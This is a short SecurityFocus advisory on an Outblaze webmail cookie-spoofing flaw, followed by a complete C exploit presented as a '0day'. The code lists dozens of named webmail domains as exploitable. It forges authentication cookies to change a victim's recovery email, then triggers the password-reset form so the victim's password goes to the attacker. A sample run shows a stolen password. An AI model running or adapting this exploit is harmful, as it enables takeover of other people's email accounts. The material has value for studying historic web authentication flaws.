// source: https://www.securityfocus.com/bid/7115/info
Outblaze web mail service has been reported prone to an authentication cookie spoofing vulnerability.
This issue may allow a malicious attacker to bypass the cookie-based authentication mechanisms used by the affected Outblaze web mail server. If successful the attacker may obtain the victim's authentication credentials and gain full access to the victim's e-mail account.
/*
**
** Outblaze Web based e-mail User Cookie Spoofing 0day exploit
**
** --
** exploit by "you dong-hun"(Xpl017Elz), <szoahc@hotmail.com>.
** My World: http://x82.i21c.net & http://x82.inetcop.org
**
** Greets: INetCop(c) Security family, my friends.
*/
/*
** This exploit code is very simple, but is convenient.
** This can hack almost Outblaze Web based e-mail service. w00h00~!
**
** It may give password to you.
** Try about 20 times. When attack failed, retry.
** It may inform to you necessarily.
**
** This can test in Korean several sites but, I excluded it.
** Use in research !!!
** When abuse this, clear that there is no responsibility to us.
**
** P.S: Sorry, for my poor english.
*/
#include <stdio.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netdb.h>
#include <netinet/in.h>
#define X82 0x82
#define D_M 0
#define P_M 1
#define B_M 0x14
#define _B_SIZE 0x800
struct eat
{
int num;
char *mail_host;
char *host_oa;
char *word;
char *domain;
};
struct eat vulns[]=
{
{
/* exploitable */
0,"www.amrer.net",
"amrer_net_oa",";",
"amrer.net"
},
{
/* exploitable */
1,"www.amuro.net",
"amuro_net_oa",";",
"amuro.net"
},
{
/* exploitable */
2,"freemail.amuromail.com",
"amuromail_com_oa",";",
"amuromail.com"
},
{
/* exploitable */
3,"www.astroboymail.com",
"astroboymail_com_oa",";",
"astroboymail.com"
},
{
/* exploitable */
4,"www.dbzmail.com",
"dbzmail_com_oa",";",
"dbzmail.com"
},
{
/* exploitable */
5,"www.doramail.com",
"doramail_com_oa",";",
"doramail.com"
},
{
/* exploitable */
6,"www.glay.org",
"glay_org_oa",";",
"glay.org"
},
{
/* exploitable */
7,"www.jpopmail.com",
"jpopmail_com_oa",";",
"jpopmail.com"
},
{
/* exploitable */
8,"www.keromail.com",
"keromail_com_oa",";",
"keromail.com"
},
{
/* exploitable */
9,"www.kichimail.com",
"kichimail_com_oa",";",
"kichimail.com"
},
{
/* exploitable */
10,"www.norikomail.com",
"norikomail_com_oa",";",
"norikomail.com"
},
{
/* exploitable */
11,"www.otakumail.com",
"otakumail_com_oa",";",
"otakumail.com"
},
{
/* exploitable */
12,"mail.smapxsmap.net",
"smapxsmap_net_oa",";",
"smapxsmap.net"
/* shit, error hint answer form */
},
{
/* exploitable */
13,"www.uymail.com",
"uymail_com_oa",";",
"uymail.com"
},
{
/* exploitable */
14,"www.yyhmail.com",
"yyhmail_com_oa",";",
"yyhmail.com"
},
{
/* exploitable */
15,"mail.china139.com",
"china139_com_oa",";",
"china139.com"
},
{
/* exploitable */
16,"mymail.mailasia.com", /* mymail chk */
"mailasia_com_oa","%3Amailasia.com;",
"mailasia.com"
},
{
/* exploitable */
17,"www.aaronkwok.net",
"aaronkwok_net_oa",";",
"aaronkwok.net"
},
{
/* exploitable */
18,"mymail.bsdmail.com", /* mymail chk */
"bsdmail_com_oa","%3Absdmail.com;",
"bsdmail.com"
},
{
/* exploitable */
19,"mymail.bsdmail.com", /* mymail chk */
"bsdmail_com_oa","%3Absdmail.org;",
"bsdmail.org"
},
{
/* exploitable */
20,"www.ezagenda.com",
"ezagenda_com_oa",";",
"ezagenda.com"
/* shit, error hint answer form */
},
{
/* exploitable */
21,"www.fastermail.com",
"fastermail_com_oa",";",
"fastermail.com"
/* shit, error hint answer form */
},
{
/* exploitable */
22,"mail.wongfaye.com",
"wongfaye_com_oa",";",
"wongfaye.com"
},
{
/* exploitable */
23,"www.graffiti.net",
"graffiti_net_oa",";",
"graffiti.net"
},
{
/* exploitable */
24,"www.hackermail.com",
"hackermail_com_oa",";",
"hackermail.com"
},
{
/* exploitable */
25,"mail.kellychen.com",
"kellychen_com_oa",";",
"kellychen.com"
},
{
/* exploitable */
26,"www.leonlai.net",
"leonlai_net_oa",";",
"leonlai.net"
},
{
/* exploitable */
27,"mymail.linuxmail.org", /* mymail chk */
"linuxmail_org_oa","%3Alinuxmail.org;",
"linuxmail.org"
},
{
/* exploitable */
28,"mymail.outblaze.net", /* mymail chk */
"outblaze_net_oa","%3Aoutblaze.net;",
"outblaze.net"
},
{
/* exploitable */
29,"mymail.outblaze.net", /* mymail chk */
"outblaze_net_oa","%3Aoutblaze.org;",
"outblaze.org"
},
{
/* exploitable */
30,"mymail.outgun.com", /* mymail chk */
"outgun_com_oa","%3Aoutgun.com;",
"outgun.com"
},
{
/* exploitable */
31,"www.surfy.net",
"surfy_net_oa",";",
"surfy.net"
},
{
/* exploitable */
32,"mail.pakistans.com",
"pakistans_com_oa",";",
"pakistans.com"
},
{
/* exploitable */
33,"www.jaydemail.com",
"jaydemail_com_oa",";",
"jaydemail.com"
},
{
/* exploitable */
34,"mail.joinme.com",
"joinme_com_oa",";",
"joinme.com"
},
{
/* exploitable */
35,"www.marchmail.com",
"marchmail.com",";",
"marchmail.com"
},
{
/* exploitable */
36,"mail.nctta.org",
"nctta_org_oa",";",
"nctta.org"
},
{
/* exploitable */
37,"mail.portugalnet.com",
"portugalnet_com_oa",";",
"portugalnet.com"
},
{
/* exploitable */
38,"www.boardermail.com",
"boardermail_com_oa",";",
"boardermail.com"
},
{
/* exploitable */
39,"mymail.mailpuppy.com", /* mymail chk */
"mailpuppy_com_oa","%3Amailpuppy.com;",
"mailpuppy.com"
},
{
/* exploitable */
40,"www.melodymail.com",
"melodymail_com_oa",";",
"melodymail.com"
/* shit, error hint answer form */
},
{
/* exploitable */
41,"www.twinstarsmail.com",
"twinstarsmail_com_oa",";",
"twinstarsmail.com"
/* shit, error hint answer form */
},
{
/* exploitable */
42,"www.purinmail.com",
"purinmail_com_oa",";",
"purinmail.com"
},
{
/* exploitable */
43,"www.gundamfan.com",
"gundamfan_com_oa",";",
"gundamfan.com"
/* shit, error hint answer form */
},
{
/* exploitable */
44,"www.slamdunkfan.com",
"slamdunkfan_com_oa",";",
"slamdunkfan.com"
/* shit, error hint answer form */
},
{
/* exploitable */
45,"www.movemail.com",
"movemail_com_oa",";",
"movemail.com"
/* shit, error hint answer form */
},
{
/* exploitable */
46,"mail.startvclub.com",
"startvclub_com_oa",";",
"startvclub.com"
/* shit, error hint answer form */
},
{
/* exploitable */
47,"www.ultrapostman.com",
"ultrapostman_com_oa",";",
"ultrapostman.com"
},
{
/* exploitable */
48,"mail.sailormoon.com",
"sailormoon_com_oa",";",
"sailormoon.com"
},
{
X82,"x82.inetcop.org",
NULL,NULL,NULL
}
};
int target=D_M;
int sexsock(char *host);
int __make_xpl(char *__xploit_buf,char *tg_id,char *my_mail,int flag);
void re_connt(int sock);
void usage(char *x_name);
void banrl();
int g_pass_chk(char *buf,int size);
int main(int argc, char *argv[])
{
char pass_chk_st[]="This is your password: ";
int sock,whgo;
#define MAIL_ID "xploit"
char m_id[X82]=MAIL_ID;
#define UR_MAIL_ADDRESS "xploit"
char u_id[X82]=UR_MAIL_ADDRESS;
u_char __x_buf[_B_SIZE];
char __r_buf[_B_SIZE];
memset((u_char *)__x_buf,D_M,sizeof(__x_buf));
memset((char *)__r_buf,D_M,sizeof(__r_buf));
(void)banrl();
while((whgo=getopt(argc,argv,"t:i:m:h"))!=-P_M)
{
extern char *optarg;
switch(whgo)
{
case 't':
target=atoi(optarg);
if(target>48)
{
(void)usage(argv[D_M]);
}
break;
case 'i':
memset((char *)m_id,D_M,sizeof(m_id));
strncpy(m_id,optarg,sizeof(m_id)-P_M);
break;
case 'm':
memset((char *)u_id,D_M,sizeof(u_id));
strncpy(u_id,optarg,sizeof(u_id)-P_M);
break;
case 'h':
(void)usage(argv[D_M]);
break;
case '?':
fprintf(stderr,"Try `%s -h' for more information.\n",argv[D_M]);
exit(-P_M);
break;
}
}
if(!strcmp(m_id,MAIL_ID)||!strcmp(u_id,UR_MAIL_ADDRESS))
{
(void)usage(argv[D_M]);
exit(-P_M);
}
else
{
int bf;
{
fprintf(stdout," ============================================================\n");
fprintf(stdout," ++ Cookie Spoofing Brute-force mode. ++\n\n");
fprintf(stdout," [*] Connected to http://%s/.\n",vulns[target].mail_host);
fprintf(stdout," [*] target mail address: %s@%s.\n",m_id,vulns[target].domain);
fprintf(stdout," [*] Wait, getting password:\n");
}
for(bf=D_M;bf<B_M;bf++)
{
sock=(int)sexsock(vulns[target].mail_host);
(void)re_connt(sock);
(int)__make_xpl(__x_buf,m_id,u_id,D_M);
send(sock,__x_buf,strlen(__x_buf),D_M);
memset((char *)__x_buf,D_M,sizeof(__x_buf));
close(sock);
sock=(int)sexsock(vulns[target].mail_host);
(void)re_connt(sock);
(int)__make_xpl(__x_buf,m_id,u_id,P_M);
send(sock,__x_buf,strlen(__x_buf),D_M);
recv(sock,__r_buf,sizeof(__r_buf)-P_M,D_M);
close(sock);
if(NULL!=(char *)strstr(__r_buf,pass_chk_st))
{
if(g_pass_chk((char *)strstr(__r_buf,pass_chk_st),
strlen((char *)strstr(__r_buf,pass_chk_st))))
{
fprintf(stdout," [*] Password sent out by your e-mail (%s).\n",u_id);
break;
}
else
{
fprintf(stdout," [%02d] Use Brute-force mode, connect again ...\n",bf);
}
}
else
{
fprintf(stdout," [%02d] Use Brute-force mode, connect again ...\n",bf);
}
}
fprintf(stdout," ============================================================\n\n");
exit(D_M);
}
}
int __make_xpl(char *__xploit_buf,char *tg_id,char *my_mail,int flag)
{
/* It's my method */
char first_tg[]="/scripts/common/profile.cgi";
char second_tg[]="/scripts/common/forgotpasswd.cgi";
#define LOGIN_SID "login=ff8eb9385445b9f3732c6945bb666024e859ddee6b71f87a&sid="
char f_data[_B_SIZE];
if(!flag)
{
memset((char *)f_data,D_M,sizeof(f_data));
snprintf(f_data,sizeof(f_data)-P_M,
"first_name=Happy-Exploit&last_name=Happy-Exploit&day_of_birth=1&"
"month_of_birth=1&year_of_birth=1900&gender=male&country=KR&"
"occupation=Professional&incomerange=40k&education=techschool&"
"householdsize=3&icq_1=0&ac_address=%s&hint_q=vulnerable&hint_a=exploitable&%s",
my_mail,(LOGIN_SID));
memset((char *)__xploit_buf,D_M,_B_SIZE);
snprintf(__xploit_buf,_B_SIZE-P_M,
"POST %s HTTP/1.0\r\n"
"Host: %s\r\n"
"Cookie: test_cookie=; ob_cookies=%s%s %s=\r\n"
"Content-type: application/x-www-form-urlencoded\r\n"
"Content-length: %d\r\n\r\n"
"%s\r\n\r\n",
first_tg,vulns[target].mail_host,
tg_id,vulns[target].word,
vulns[target].host_oa,
strlen(f_data),f_data);
}
else
{
switch(target)
{
case 16:
case 27:
case 30:
memset((char *)f_data,D_M,sizeof(f_data));
snprintf(f_data,sizeof(f_data)-P_M,
"domain=%s&login=%s&first_name=Happy-Exploit&last_name=Happy-Exploit&"
"year_or_birth=0&occupation=Professional&alternative_email=%s"
"&hint_a=exploitable&answer_hq=SUBMIT",
vulns[target].domain,tg_id,my_mail);
break;
case 18:
case 19:
case 28:
case 29:
case 39:
memset((char *)f_data,D_M,sizeof(f_data));
snprintf(f_data,sizeof(f_data)-P_M,
"login=%s@%s&first_name=Happy-Exploit&last_name=Happy-Exploit&"
"year_of_birth=0&occupation=Professional&alternative_email=%s"
"&hint_a=exploitable&answer_hq=SUBMIT",
tg_id,vulns[target].domain,my_mail);
break;
default:
memset((char *)f_data,D_M,sizeof(f_data));
snprintf(f_data,sizeof(f_data)-P_M,
"login=%s&first_name=Happy-Exploit&last_name=Happy-Exploit&"
"year_of_birth=0&occupation=Professional&alternative_email=%s"
"&hint_a=exploitable&answer_hq=SUBMIT",
tg_id,my_mail);
break;
}
memset((char *)__xploit_buf,D_M,_B_SIZE);
snprintf(__xploit_buf,_B_SIZE-P_M,
"POST %s HTTP/1.0\r\n"
"Host: %s\r\n"
"Content-type: application/x-www-form-urlencoded\r\n"
"Content-length: %d\r\n\r\n"
"%s\r\n\r\n",
second_tg,vulns[target].mail_host,strlen(f_data),f_data);
}
}
int g_pass_chk(char *buf,int size)
{
char passwd[X82];
int sz_1_=D_M;
memset((char *)passwd,D_M,sizeof(passwd));
for(sz_1_=D_M;sz_1_<size
&&!(buf[sz_1_+D_M]=='<'&&buf[sz_1_+P_M]=='/');sz_1_++)
{
passwd[sz_1_]=buf[sz_1_];
}
fprintf(stdout,"\n %s\n\n",passwd);
return(P_M);
}
int sexsock(char *host)
{
int sock;
struct hostent *he;
struct sockaddr_in x82;
if((he=gethostbyname(host))==NULL)
{
return(-P_M);
}
if((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==-P_M)
{
return(-P_M);
}
x82.sin_family=AF_INET;
x82.sin_port=htons(80);
x82.sin_addr=*((struct in_addr *)he->h_addr);
memset(&(x82.sin_zero),D_M,8);
if(connect(sock,(struct sockaddr *)&x82,sizeof(struct sockaddr))==-P_M)
{
return(-P_M);
}
return(sock);
}
void re_connt(int sock)
{
if(sock==-P_M)
{
fprintf(stderr," [X] Connect Failed.\n");
exit(-P_M);
}
}
void usage(char *x_name)
{
int t=D_M;
fprintf(stdout," Usage: %s -option [argument]\n",x_name);
fprintf(stdout,"\n\t-t [target num] - target mail server.\n");
fprintf(stdout,"\t-i [mail id] - target mail id.\n");
fprintf(stdout,"\t-m [mail addr] - your mail address.\n");
fprintf(stdout,"\t-h - help information.\n\n");
fprintf(stdout," Select target mail number:\n\n");
while(P_M)
{
if(vulns[t].num==X82)
{
break;
}
else fprintf(stdout," {%d} %s\n",vulns[t].num,vulns[t].domain);
t++;
}
fprintf(stdout,"\n Example> %s -t 0 -i admin -m your_mail@mail.com\n\n",x_name);
exit(-P_M);
}
void banrl()
{
fprintf(stdout,"\n Outblaze Web based e-mail User Cookie Spoofing 0day exploit\n");
fprintf(stdout," by Xpl017Elz.\n\n");
}
/*
**
** Very Fun Result: --
**
** bash$ ./0x82-eat_outblaze_0dayxpl -t 24 -i tester -m attacker@testmail.com
**
** Outblaze Web based e-mail User Cookie Spoofing 0day exploit
** by Xpl017Elz.
**
** ============================================================
** ++ Cookie Spoofing Brute-force mode. ++
**
** [*] Connected to http://www.hackermail.com/.
** [*] target mail address: tester@hackermail.com.
** [*] Wait, getting password:
**
** This is your password: Happy-Exploit
**
** [*] Password sent out by your e-mail (attacker@testmail.com).
** ============================================================
**
** bash$
** --
**
** You can use other person's email through this.
**
*/